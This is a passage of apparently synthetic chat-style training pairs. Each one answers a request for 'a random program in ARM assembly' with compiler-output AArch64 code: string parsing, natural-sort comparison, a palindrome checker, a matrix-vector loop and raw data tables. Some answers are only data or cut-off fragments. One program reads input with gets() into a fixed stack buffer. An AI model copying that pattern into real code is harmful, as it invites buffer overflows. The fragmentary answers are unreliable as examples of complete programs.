ldr w0, [sp, 192]
mul w0, w1, w0
ldr w1, [sp, 128]
add w0, w1, w0
str w0, [sp, 128]
.L40:
ldr w0, [sp, 124]
sub w0, w0, #1
str w0, [sp, 124]
.L36:
ldr w0, [sp, 124]
cmp w0, 0
bge .L41
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
mov w3, 1
ldr w2, [sp, 192]
mov x1, x0
mov w0, 10
bl sideann
str w0, [sp, 200]
ldr s0, [sp, 148]
scvtf s1, s0
ldr s2, [sp, 164]
ldr s0, [sp, 156]
fmul s2, s2, s0
ldr s0, [sp, 160]
fmul s0, s2, s0
fsub s0, s1, s0
fcvtzs s0, s0
str s0, [sp, 148]
ldr s1, [sp, 132]
ldr s0, [sp, 164]
fadd s0, s1, s0
str s0, [sp, 132]
ldr w0, [sp, 184]
cmp w0, 1
bne .L23
ldr w0, [sp, 140]
sub w0, w0, #1
str w0, [sp, 148]
.L23:
ldr w1, [sp, 148]
ldr w0, [sp, 140]
cmp w1, w0
bge .L42
nop
.L1:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 232]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L44
bl __stack_chk_fail
.L44:
ldp x29, x30, [sp], 240
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size tlann_, .-tlann_
.section .rodata
.align 3
.LC0:
.word -350469331
.word 1057634018
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type isnumeric, %function
isnumeric:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
ldr w0, [sp, 12]
cmp w0, 47
ble .L2
ldr w0, [sp, 12]
cmp w0, 57
bgt .L2
mov w0, 1
b .L4
.L2:
mov w0, 0
.L4:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size isnumeric, .-isnumeric
.align 2
.type numrun, %function
numrun:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
str x0, [sp, 40]
b .L6
.L8:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L6:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 0
beq .L7
ldr x0, [sp, 40]
ldrb w0, [x0]
bl isnumeric
cmp w0, 0
bne .L8
.L7:
ldr x1, [sp, 40]
ldr x0, [sp, 24]
sub x0, x1, x0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size numrun, .-numrun
.align 2
.global natcmp
.type natcmp, %function
natcmp:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 24]
str x0, [sp, 32]
ldr x0, [sp, 16]
str x0, [sp, 40]
b .L11
.L14:
ldr x0, [sp, 32]
ldrb w1, [x0]
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w1, w0
bne .L17
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L11:
ldr x0, [sp, 32]
ldrb w0, [x0]
cmp w0, 0
beq .L13
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 0
bne .L14
b .L13
.L17:
nop
.L13:
ldr x0, [sp, 32]
bl numrun
str x0, [sp, 48]
ldr x0, [sp, 40]
bl numrun
str x0, [sp, 56]
ldr x0, [sp, 48]
cmp x0, 0
beq .L15
ldr x0, [sp, 56]
cmp x0, 0
beq .L15
ldr x1, [sp, 48]
ldr x0, [sp, 56]
cmp x1, x0
beq .L15
ldr x0, [sp, 48]
mov w1, w0
ldr x0, [sp, 56]
sub w0, w1, w0
b .L16
.L15:
ldr x0, [sp, 32]
ldrb w0, [x0]
mov w1, w0
ldr x0, [sp, 40]
ldrb w0, [x0]
sub w0, w1, w0
.L16:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size natcmp, .-natcmp
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global a
.data
.align 3
.type a, %object
.size a, 20
a:
.word 0
.word 1
.word 2
.word 3
.word 4
.section .rodata
.align 3
.LC0:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str wzr, [sp, 20]
b .L2
.L3:
adrp x0, a
add x0, x0, :lo12:a
ldrsw x1, [sp, 20]
ldr w0, [x0, x1, lsl 2]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L2:
ldr w0, [sp, 20]
cmp w0, 4
ble .L3
mov w0, 10
bl putchar
adrp x0, a
add x0, x0, :lo12:a
str x0, [sp, 24]
b .L4
.L5:
ldr x0, [sp, 24]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 24]
.L4:
ldr x1, [sp, 24]
adrp x0, a+16
add x0, x0, :lo12:a+16
cmp x1, x0
bls .L5
mov w0, 10
bl putchar
mov w0, 10
bl putchar
adrp x0, a
add x0, x0, :lo12:a
str x0, [sp, 24]
str wzr, [sp, 20]
b .L6
.L7:
ldrsw x0, [sp, 20]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L6:
ldr w0, [sp, 20]
cmp w0, 4
ble .L7
mov w0, 10
bl putchar
adrp x0, a
add x0, x0, :lo12:a
str x0, [sp, 24]
str wzr, [sp, 20]
b .L8
.L9:
ldrsw x0, [sp, 20]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 24]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L8:
ldrsw x0, [sp, 20]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x1, x1, x0
adrp x0, a+16
add x0, x0, :lo12:a+16
cmp x1, x0
bls .L9
mov w0, 10
bl putchar
mov w0, 10
bl putchar
adrp x0, a+16
add x0, x0, :lo12:a+16
str x0, [sp, 24]
b .L10
.L11:
ldr x0, [sp, 24]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr x0, [sp, 24]
sub x0, x0, #4
str x0, [sp, 24]
.L10:
ldr x1, [sp, 24]
adrp x0, a
add x0, x0, :lo12:a
cmp x1, x0
bcs .L11
mov w0, 10
bl putchar
adrp x0, a+16
add x0, x0, :lo12:a+16
str x0, [sp, 24]
str wzr, [sp, 20]
b .L12
.L13:
ldr w0, [sp, 20]
neg w0, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L12:
ldr w0, [sp, 20]
cmp w0, 4
ble .L13
mov w0, 10
bl putchar
adrp x0, a+16
add x0, x0, :lo12:a+16
str x0, [sp, 24]
b .L14
.L15:
ldr x1, [sp, 24]
adrp x0, a
add x0, x0, :lo12:a
sub x0, x1, x0
asr x0, x0, 2
mov x1, x0
adrp x0, a
add x0, x0, :lo12:a
ldr w0, [x0, x1, lsl 2]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr x0, [sp, 24]
sub x0, x0, #4
str x0, [sp, 24]
.L14:
ldr x1, [sp, 24]
adrp x0, a
add x0, x0, :lo12:a
cmp x1, x0
bcs .L15
mov w0, 10
bl putchar
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.data
.align 3
.type PRIMATTS, %object
.size PRIMATTS, 112
PRIMATTS:
.word 1
.word 1
.word 1
.word 0
.word 0
.word 0
.word 0
.word 0
.word 4
.word 1093664768
.word 1093664768
.word 0
.word 1065353216
.word 0
.word 1065353216
.word 1065353216
.word 0
.word 0
.word 1065353216
.word 0
.word 0
.word 0
.word 1065353216
.word 0
.word 0
.word 42
.word 0
.word 0
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "usage: es1_2 {0|1]} number_of_integers\n"
.align 3
.LC1:
.string " 0--> escribe los numeros en ascii\n"
.align 3
.LC2:
.string " 1--> escribe los numeros en formato int\n"
.align 3
.LC3:
.string "usage: es1_2 {0|1]}\n"
.align 3
.LC4:
.string "............................\n"
.align 3
.LC5:
.string "Si argv[1]==0 escribiremos los numero en ascii, sino en formato interno (int)\n"
.align 3
.LC6:
.string "%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -320]!
.cfi_def_cfa_offset 320
.cfi_offset 29, -320
.cfi_offset 30, -312
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 312]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 3
beq .L2
add x2, sp, 56
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
add x2, sp, 56
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
add x2, sp, 56
adrp x0, .LC2
add x1, x0, :lo12:.LC2
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
mov w0, 1
bl exit
.L2:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
bl atoi
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L3
ldr w0, [sp, 48]
cmp w0, 1
beq .L3
add x2, sp, 56
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
mov w0, 1
bl exit
.L3:
ldr x0, [sp, 16]
add x0, x0, 16
ldr x0, [x0]
bl atoi
str w0, [sp, 52]
add x2, sp, 56
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
add x2, sp, 56
adrp x0, .LC5
add x1, x0, :lo12:.LC5
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
add x2, sp, 56
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x2
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 2
bl write
mov x0, 0
bl time
bl srand
mov w0, 10
strb w0, [sp, 39]
str wzr, [sp, 44]
b .L4
.L7:
bl rand
str w0, [sp, 40]
ldr w0, [sp, 48]
cmp w0, 1
bne .L5
add x0, sp, 40
mov x2, 4
mov x1, x0
mov w0, 1
bl write
add x0, sp, 39
mov x2, 1
mov x1, x0
mov w0, 1
bl write
b .L6
.L5:
ldr w0, [sp, 40]
add x3, sp, 56
mov w2, w0
adrp x0, .LC6
add x1, x0, :lo12:.LC6
mov x0, x3
bl sprintf
add x0, sp, 56
bl strlen
mov x1, x0
add x0, sp, 56
mov x2, x1
mov x1, x0
mov w0, 1
bl write
.L6:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L4:
ldr w1, [sp, 44]
ldr w0, [sp, 52]
cmp w1, w0
blt .L7
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 312]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L9
bl __stack_chk_fail
.L9:
mov w0, w1
ldp x29, x30, [sp], 320
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, 12]
ldr w0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type digitval, %function
digitval:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
ldr w0, [sp, 12]
cmp w0, 47
ble .L2
ldr w0, [sp, 12]
cmp w0, 57
bgt .L2
ldr w0, [sp, 12]
sub w0, w0, #48
b .L3
.L2:
ldr w0, [sp, 12]
cmp w0, 64
ble .L4
ldr w0, [sp, 12]
cmp w0, 90
bgt .L4
ldr w0, [sp, 12]
sub w0, w0, #55
b .L3
.L4:
ldr w0, [sp, 12]
cmp w0, 96
ble .L5
ldr w0, [sp, 12]
cmp w0, 122
bgt .L5
ldr w0, [sp, 12]
sub w0, w0, #87
b .L3
.L5:
mov w0, -1
.L3:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size digitval, .-digitval
.align 2
.global strntoumax
.type strntoumax, %function
strntoumax:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str x3, [sp, 16]
str wzr, [sp, 48]
str xzr, [sp, 56]
b .L7
.L9:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 16]
sub x0, x0, #1
str x0, [sp, 16]
.L7:
ldr x0, [sp, 16]
cmp x0, 0
beq .L8
bl __ctype_b_loc
ldr x1, [x0]
ldr x0, [sp, 40]
ldrb w0, [x0]
and x0, x0, 255
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 8192
cmp w0, 0
bne .L9
.L8:
ldr x0, [sp, 16]
cmp x0, 0
beq .L10
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 45
bne .L10
mov w0, 1
str w0, [sp, 48]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 16]
sub x0, x0, #1
str x0, [sp, 16]
b .L11
.L10:
ldr x0, [sp, 16]
cmp x0, 0
beq .L11
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 43
bne .L11
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L11:
ldr w0, [sp, 28]
cmp w0, 0
bne .L12
ldr x0, [sp, 16]
cmp x0, 1
bls .L13
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 48
bne .L13
ldr x0, [sp, 40]
add x0, x0, 1
ldrb w0, [x0]
cmp w0, 120
beq .L14
ldr x0, [sp, 40]
add x0, x0, 1
ldrb w0, [x0]
cmp w0, 88
bne .L13
.L14:
ldr x0, [sp, 16]
sub x0, x0, #2
str x0, [sp, 16]
ldr x0, [sp, 40]
add x0, x0, 2
str x0, [sp, 40]
mov w0, 16
str w0, [sp, 28]
b .L17
.L13:
ldr x0, [sp, 16]
cmp x0, 0
beq .L16
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 48
bne .L16
ldr x0, [sp, 16]
sub x0, x0, #1
str x0, [sp, 16]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
mov w0, 8
str w0, [sp, 28]
b .L17
.L16:
mov w0, 10
str w0, [sp, 28]
b .L19
.L12:
ldr w0, [sp, 28]
cmp w0, 16
bne .L19
ldr x0, [sp, 16]
cmp x0, 1
bls .L19
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 48
bne .L19
ldr x0, [sp, 40]
add x0, x0, 1
ldrb w0, [x0]
cmp w0, 120
beq .L18
ldr x0, [sp, 40]
add x0, x0, 1
ldrb w0, [x0]
cmp w0, 88
bne .L19
.L18:
ldr x0, [sp, 16]
sub x0, x0, #2
str x0, [sp, 16]
ldr x0, [sp, 40]
add x0, x0, 2
str x0, [sp, 40]
.L17:
b .L19
.L21:
ldrsw x1, [sp, 28]
ldr x0, [sp, 56]
mul x1, x1, x0
ldrsw x0, [sp, 52]
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 16]
sub x0, x0, #1
str x0, [sp, 16]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L19:
ldr x0, [sp, 16]
cmp x0, 0
beq .L20
ldr x0, [sp, 40]
ldrb w0, [x0]
bl digitval
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
blt .L20
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L21
.L20:
ldr x0, [sp, 32]
cmp x0, 0
beq .L22
ldr x0, [sp, 32]
ldr x1, [sp, 40]
str x1, [x0]
.L22:
ldr w0, [sp, 48]
cmp w0, 0
beq .L23
ldr x0, [sp, 56]
neg x0, x0
b .L25
.L23:
ldr x0, [sp, 56]
.L25:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size strntoumax, .-strntoumax
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global MyGemv
.type MyGemv, %function
MyGemv:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str w0, [sp, 60]
str w1, [sp, 56]
str x2, [sp, 48]
str w3, [sp, 44]
str x4, [sp, 32]
str w5, [sp, 40]
str x6, [sp, 24]
str w7, [sp, 20]
str wzr, [sp, 76]
b .L2
.L3:
ldr w1, [sp, 76]
ldr w0, [sp, 40]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr w4, [sp, 20]
ldr x3, [sp, 24]
mov w2, 1
mov x1, x0
ldr w0, [sp, 60]
bl Axpy
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L2:
ldr w1, [sp, 76]
ldr w0, [sp, 56]
cmp w1, w0
blt .L3
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size MyGemv, .-MyGemv
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "enter the character string each character wise with out space"
.text
.align 2
.global input
.type input, %function
input:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -128
mov x19, x8
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
add x0, sp, 32
add x0, x0, 4
bl gets
add x0, sp, 32
add x0, x0, 4
bl strlen
str w0, [sp, 32]
mov x1, x19
add x0, sp, 32
ldp q0, q1, [x0]
stp q0, q1, [x1]
ldp q0, q1, [x0, 32]
stp q0, q1, [x1, 32]
ldp q0, q1, [x0, 64]
stp q0, q1, [x1, 64]
ldr x0, [x0, 96]
str x0, [x1, 96]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 136]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L3
bl __stack_chk_fail
.L3:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size input, .-input
.section .rodata
.align 3
.LC1:
.string "%d\t"
.text
.align 2
.global print_palindrome
.type print_palindrome, %function
print_palindrome:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -48
str w0, [sp, 44]
str w1, [sp, 40]
str w2, [sp, 36]
mov x19, x3
ldr w0, [sp, 44]
cmp w0, 0
bne .L8
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
cmp w0, 0
csneg w0, w0, w0, ge
cmp w0, 1
ble .L8
ldr w0, [sp, 40]
add w0, w0, 1
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr w0, [sp, 40]
str w0, [sp, 60]
b .L6
.L7:
ldrsw x0, [sp, 60]
add x0, x19, x0
ldrb w0, [x0, 4]
bl putchar
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L6:
ldr w1, [sp, 60]
ldr w0, [sp, 36]
cmp w1, w0
ble .L7
mov w0, 10
bl putchar
.L8:
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size print_palindrome, .-print_palindrome
.align 2
.global check_sub_palindromes
.type check_sub_palindromes, %function
check_sub_palindromes:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -160
mov x19, x0
str wzr, [sp, 156]
str wzr, [sp, 160]
str wzr, [sp, 164]
str wzr, [sp, 168]
ldr w0, [x19]
str w0, [sp, 172]
str wzr, [sp, 168]
b .L10
.L17:
ldr w0, [x19]
sub w0, w0, #1
str w0, [sp, 172]
b .L11
.L16:
str wzr, [sp, 156]
ldr w0, [sp, 168]
str w0, [sp, 164]
ldr w0, [sp, 172]
str w0, [sp, 160]
b .L12
.L15:
ldrsw x0, [sp, 164]
add x0, x19, x0
ldrb w1, [x0, 4]
ldrsw x0, [sp, 160]
add x0, x19, x0
ldrb w0, [x0, 4]
cmp w1, w0
beq .L13
ldr w0, [sp, 156]
add w0, w0, 1
str w0, [sp, 156]
b .L14
.L13:
ldr w0, [sp, 164]
add w0, w0, 1
str w0, [sp, 164]
ldr w0, [sp, 160]
sub w0, w0, #1
str w0, [sp, 160]
.L12:
ldr w1, [sp, 164]
ldr w0, [sp, 160]
cmp w1, w0
blt .L15
.L14:
add x0, sp, 32
mov x1, x19
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldp q0, q1, [x1, 32]
stp q0, q1, [x0, 32]
ldp q0, q1, [x1, 64]
stp q0, q1, [x0, 64]
ldr x1, [x1, 96]
str x1, [x0, 96]
add x0, sp, 32
mov x3, x0
ldr w2, [sp, 172]
ldr w1, [sp, 168]
ldr w0, [sp, 156]
bl print_palindrome
ldr w0, [sp, 172]
sub w0, w0, #1
str w0, [sp, 172]
.L11:
ldr w1, [sp, 172]
ldr w0, [sp, 168]
cmp w1, w0
bgt .L16
ldr w0, [sp, 168]
add w0, w0, 1
str w0, [sp, 168]
.L10:
ldr w0, [x19]
ldr w1, [sp, 168]
cmp w1, w0
blt .L17
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size check_sub_palindromes, .-check_sub_palindromes
.align 2
.global main
.type main, %function
main:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -240]!
.cfi_def_cfa_offset 240
.cfi_offset 29, -240
.cfi_offset 30, -232
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 232]
mov x1, 0
add x0, sp, 128
mov x8, x0
bl input
add x0, sp, 16
add x1, sp, 128
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldp q0, q1, [x1, 32]
stp q0, q1, [x0, 32]
ldp q0, q1, [x1, 64]
stp q0, q1, [x0, 64]
ldr x1, [x1, 96]
str x1, [x0, 96]
add x0, sp, 16
bl check_sub_palindromes
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 232]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L20
bl __stack_chk_fail
.L20:
mov w0, w1
ldp x29, x30, [sp], 240
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.data
.align 3
.type HA2_aid9825, %object
.size HA2_aid9825, 3
HA2_aid9825:
.ascii "\262\343\220"
.align 3
.type HA2_aid9713, %object
.size HA2_aid9713, 3
HA2_aid9713:
.ascii "\262\306\220"
.align 3
.type HA2_aid9635, %object
.size HA2_aid9635, 3
HA2_aid9635:
.ascii "\262\262\220"
.align 3
.type HA2_aid9523, %object
.size HA2_aid9523, 3
HA2_aid9523:
.ascii "\262\225\220"
.align 3
.type HA2_aid9445, %object
.size HA2_aid9445, 3
HA2_aid9445:
.ascii "\262\201\220"
.align 3
.type HA2_aid9344, %object
.size HA2_aid9344, 3
HA2_aid9344:
.ascii "\262g\220"
.align 3
.type HA2_aid9270, %object
.size HA2_aid9270, 3
HA2_aid9270:
.ascii "\262T\220"
.align 3
.type HA2_aid9200, %object
.size HA2_aid9200, 3
HA2_aid9200:
.ascii "\262B\220"
.align 3
.type HA2_aid9130, %object
.size HA2_aid9130, 3
HA2_aid9130:
.ascii "\2620\220"
.align 3
.type HA2_aid9030, %object
.size HA2_aid9030, 3
HA2_aid9030:
.ascii "\262\026\220"
.align 3
.type HA2_aid8964, %object
.size HA2_aid8964, 3
HA2_aid8964:
.ascii "\262\005\220"
.align 3
.type HA2_aid8894, %object
.size HA2_aid8894, 3
HA2_aid8894:
.ascii "\262\363\200"
.align 3
.type HA2_aid8832, %object
.size HA2_aid8832, 3
HA2_aid8832:
.ascii "\262\343\200"
.align 3
.type HA2_aid8723, %object
.size HA2_aid8723, 3
HA2_aid8723:
.ascii "\262\307\200"
.align 3
.type HA2_aid8653, %object
.size HA2_aid8653, 3
HA2_aid8653:
.ascii "\262\265\200"
.align 3
.type HA2_aid8575, %object
.size HA2_aid8575, 3
HA2_aid8575:
.ascii "\262\241\200"
.align 3
.type HA2_aid8393, %object
.size HA2_aid8393, 3
HA2_aid8393:
.ascii "\262r\200"
.align 3
.type HA2_aid8284, %object
.size HA2_aid8284, 3
HA2_aid8284:
.ascii "\262V\200"
.align 3
.type HA2_aid8218, %object
.size HA2_aid8218, 3
HA2_aid8218:
.ascii "\262E\200"
.align 3
.type HA2_aid8148, %object
.size HA2_aid8148, 3
HA2_aid8148:
.ascii "\2623\200"
.align 3
.type HA2_aid7974, %object
.size HA2_aid7974, 3
HA2_aid7974:
.ascii "\262\006\200"
.align 3
.type HA2_aid7896, %object
.size HA2_aid7896, 3
HA2_aid7896:
.ascii "\262\362p"
.align 3
.type HA2_aid7717, %object
.size HA2_aid7717, 3
HA2_aid7717:
.ascii "\262\304p"
.align 3
.type HA2_aid7535, %object
.size HA2_aid7535, 3
HA2_aid7535:
.ascii "\262\225p"
.align 3
.type HA2_aid7469, %object
.size HA2_aid7469, 3
HA2_aid7469:
.ascii "\262\204p"
.align 3
.type HA2_aid7290, %object
.size HA2_aid7290, 3
HA2_aid7290:
.ascii "\262Vp"
.align 3
.type HA2_aid7104, %object
.size HA2_aid7104, 3
HA2_aid7104:
.ascii "\262&p"
.align 3
.type HA2_aid6848, %object
.size HA2_aid6848, 3
HA2_aid6848:
.ascii "\262\344`"
.align 3
.type HA2_aid6669, %object
.size HA2_aid6669, 3
HA2_aid6669:
